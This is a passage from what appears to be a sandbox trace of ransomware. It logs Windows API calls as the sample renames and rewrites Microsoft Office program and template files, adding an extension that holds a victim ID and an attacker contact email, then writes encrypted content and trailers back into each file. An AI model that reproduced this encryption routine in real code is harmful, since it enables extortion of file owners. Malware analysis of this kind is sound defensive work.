lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.192] CloseHandle (hObject=0x704) returned 1 [0189.192] GetProcessHeap () returned 0x630000 [0189.192] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7337198 | out: hHeap=0x630000) returned 1 [0189.192] GetProcessHeap () returned 0x630000 [0189.192] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73342c8 | out: hHeap=0x630000) returned 1 [0189.192] GetProcessHeap () returned 0x630000 [0189.192] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0189.193] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.193] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36b680fa, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2ed9, dwReserved0=0xbac7496, dwReserved1=0x73342c0, cFileName="linesdistinctive.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LINESD~1.FIR")) returned 0x6d54c0 [0189.193] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0189.193] Sleep (dwMilliseconds=0x1) [0191.467] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", len=0x3b | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE") returned 1 [0191.467] GetProcessHeap () returned 0x630000 [0191.467] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45f4) returned 0x74656a8 [0191.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0191.467] CloseHandle (hObject=0x5ec) returned 1 [0191.467] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.468] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.468] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc3aeff25, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd52c882e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd5c05a3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d74a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINWOR~2.FIR")) returned 0x6d5400 [0191.469] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0191.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0191.469] GetProcessHeap () returned 0x630000 [0191.469] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x734a098 [0191.470] GetProcessHeap () returned 0x630000 [0191.470] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73554c8 [0191.470] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.470] ReadFile (in: hFile=0x5ec, lpBuffer=0x734a098, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x734a098*, lpNumberOfBytesRead=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.153] GetProcessHeap () returned 0x630000 [0195.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0195.153] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.153] WriteFile (in: hFile=0x5ec, lpBuffer=0x73554c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73554c8*, lpNumberOfBytesWritten=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.312] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.312] WriteFile (in: hFile=0x5ec, lpBuffer=0x73608c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73608c7*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.313] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.313] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.313] CloseHandle (hObject=0x5ec) returned 1 [0195.313] GetProcessHeap () returned 0x630000 [0195.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73554c8 | out: hHeap=0x630000) returned 1 [0195.313] GetProcessHeap () returned 0x630000 [0195.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x734a098 | out: hHeap=0x630000) returned 1 [0195.314] GetProcessHeap () returned 0x630000 [0195.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0196.301] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.301] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc3aeff25, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd52c882e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a5d9b07, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d74c4, dwReserved0=0xbac7496, dwReserved1=0x734a090, cFileName="WINWORD.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINWOR~2.FIR")) returned 0x6d4e40 [0196.301] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0196.301] Sleep (dwMilliseconds=0x1) [0196.316] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", len=0x3e | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 1 [0196.316] GetProcessHeap () returned 0x630000 [0196.317] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47a8) returned 0x7133a90 [0196.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0196.426] CloseHandle (hObject=0x6cc) returned 1 [0196.426] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.426] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR3.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR3XL~1.FIR")) returned 0x6d5000 [0196.606] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0196.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0196.607] GetProcessHeap () returned 0x630000 [0196.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7821) returned 0x7124500 [0196.607] GetProcessHeap () returned 0x630000 [0196.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7821) returned 0x712bd30 [0196.607] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.607] ReadFile (in: hFile=0x6cc, lpBuffer=0x7124500, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7124500*, lpNumberOfBytesRead=0x483ff0c*=0x7800, lpOverlapped=0x0) returned 1 [0201.051] GetProcessHeap () returned 0x630000 [0201.051] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0201.051] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.051] WriteFile (in: hFile=0x6cc, lpBuffer=0x712bd30*, nNumberOfBytesToWrite=0x7800, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712bd30*, lpNumberOfBytesWritten=0x483ff0c*=0x7800, lpOverlapped=0x0) returned 1 [0201.052] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.052] WriteFile (in: hFile=0x6cc, lpBuffer=0x713352f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713352f*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.052] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.052] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.052] CloseHandle (hObject=0x6cc) returned 1 [0201.052] GetProcessHeap () returned 0x630000 [0201.052] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712bd30 | out: hHeap=0x630000) returned 1 [0201.052] GetProcessHeap () returned 0x630000 [0201.052] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7124500 | out: hHeap=0x630000) returned 1 [0201.052] GetProcessHeap () returned 0x630000 [0201.052] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0201.052] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.052] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3dc8b472, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7824, dwReserved0=0xbac7496, dwReserved1=0x71244f8, cFileName="ADR3.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR3XL~1.FIR")) returned 0x6d4f40 [0201.053] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0201.053] Sleep (dwMilliseconds=0x1) [0202.726] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\orcl7.xsl", len=0x79 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\orcl7.xsl") returned 1 [0202.726] GetProcessHeap () returned 0x630000 [0202.727] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bf8) returned 0x7133a90 [0202.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\orcl7.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0203.474] CloseHandle (hObject=0x4e0) returned 1 [0203.474] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\orcl7.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.476] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.476] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24bcc96d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24cb17f6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x31002d, dwReserved1=0x390039, cFileName="orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORCL7X~1.FIR")) returned 0x6d5540 [0203.476] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0203.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0203.476] GetProcessHeap () returned 0x630000 [0203.476] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a41) returned 0x700cc80 [0203.476] GetProcessHeap () returned 0x630000 [0203.476] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a41) returned 0x70156d0 [0203.476] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.476] ReadFile (in: hFile=0x4e0, lpBuffer=0x700cc80, nNumberOfBytesToRead=0x8a20, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc80*, lpNumberOfBytesRead=0x483ff0c*=0x8a20, lpOverlapped=0x0) returned 1 [0207.740] GetProcessHeap () returned 0x630000 [0207.740] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0207.740] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.740] WriteFile (in: hFile=0x4e0, lpBuffer=0x70156d0*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70156d0*, lpNumberOfBytesWritten=0x483ff0c*=0x8a20, lpOverlapped=0x0) returned 1 [0207.741] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.741] WriteFile (in: hFile=0x4e0, lpBuffer=0x701e0ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x701e0ef*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0207.741] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.741] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0207.741] CloseHandle (hObject=0x4e0) returned 1 [0207.741] GetProcessHeap () returned 0x630000 [0207.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70156d0 | out: hHeap=0x630000) returned 1 [0207.741] GetProcessHeap () returned 0x630000 [0207.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x700cc80 | out: hHeap=0x630000) returned 1 [0207.741] GetProcessHeap () returned 0x630000 [0207.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0207.741] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.742] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24bcc96d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x41c4b948, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8a4e, dwReserved0=0xbac7496, dwReserved1=0x700cc78, cFileName="orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORCL7X~1.FIR")) returned 0x6d4f80 [0207.742] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0207.742] Sleep (dwMilliseconds=0x1) [0209.774] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.INF", len=0x70 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.INF") returned 1 [0209.774] GetProcessHeap () returned 0x630000 [0209.774] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e20) returned 0x6fe4288 [0209.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0209.775] CloseHandle (hObject=0x6dc) returned 1 [0209.775] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0209.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\strtedge.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\strtedge.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0209.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="STRTEDGE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STRTED~1.FIR")) returned 0x6d4f80 [0209.777] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0209.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\strtedge.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0209.777] GetProcessHeap () returned 0x630000 [0209.778] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6dbdf0 [0209.778] GetProcessHeap () returned 0x630000 [0209.778] RtlAllocateHeap 